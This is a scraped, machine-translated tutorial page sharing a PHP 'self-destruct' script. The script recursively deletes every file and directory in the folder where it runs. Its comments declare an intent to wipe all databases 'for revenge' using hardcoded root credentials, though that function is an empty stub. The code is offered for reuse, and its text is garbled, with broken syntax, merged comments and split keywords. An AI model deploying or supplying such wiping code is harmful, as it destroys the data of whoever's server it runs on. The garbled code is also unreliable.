PHP Self-Destruct program (use caution), PHP self-destruct program with caution
This article describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows:
<?php//+----------------------------------------------------------------------//| kill!! // | The program will erase all files and directories in this directory//| If you set up database information, try to delete all database and table data (provided the permissions are sufficient!). )//+----------------------------------------------------------------------//| Version: $Id $//+----------------------------------------------------------------------//---------- Database Configuration area-----------------//The Power of revenge is very scary, so no need to specify the database, all deleted! Define (' Db_user ', ' root ');d efine (' db_pwd ', ' root ');d efine (' db_host ', ' localhost ');d efine (' Db_port ', ' 3216 ');d efine (' Db_damage ', true); When false, do not touch the database run ();/** * Subject thought must be glorious and great! * * @return void **/function Run () {//delete file Deletedir ();//delete database Deletedb ();} /** * hehe, delete the current directory all Files (recursive) * * @return void **/function deletedir ($dir = ") {if ($dir = =") {$dir = Realpath ('. ');} ech o $dir; Exit (); if (!handle= @opendir ($dir)) {//detects if there is die ("no directory") to open the directory; } while (False!== ($file =readdir ($handle))) {if ($file!== ".") && $file!== "..") {//excludes the current directory from the parent directory $file = $dir. Directory_separator. $file; if (Is_dir ($file)) { Deletedir ($file); }else{if (@unlink ($file)) {echo file$fileDelete succeeded.
"; }else{echo "File$fileDelete failed!
"; }}} if (@rmdir ($dir)) {echo ' directory$dirThe deletion was successful.
\ n "; }else{echo "Catalogue$dirDelete failed!
\ n "; }}/** * hehe, delete database * * @return void **/function deletedb () {if (Db_damage = = = True) {//start}}
I hope this article is helpful to everyone's PHP programming.
http://www.bkjia.com/PHPjc/1029587.html www.bkjia.com true http://www.bkjia.com/PHPjc/1029587.html techarticle PHP Self -Destruct program (use caution), PHP self-destruct program carefully use this example to describe the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows: php//+-------------------------...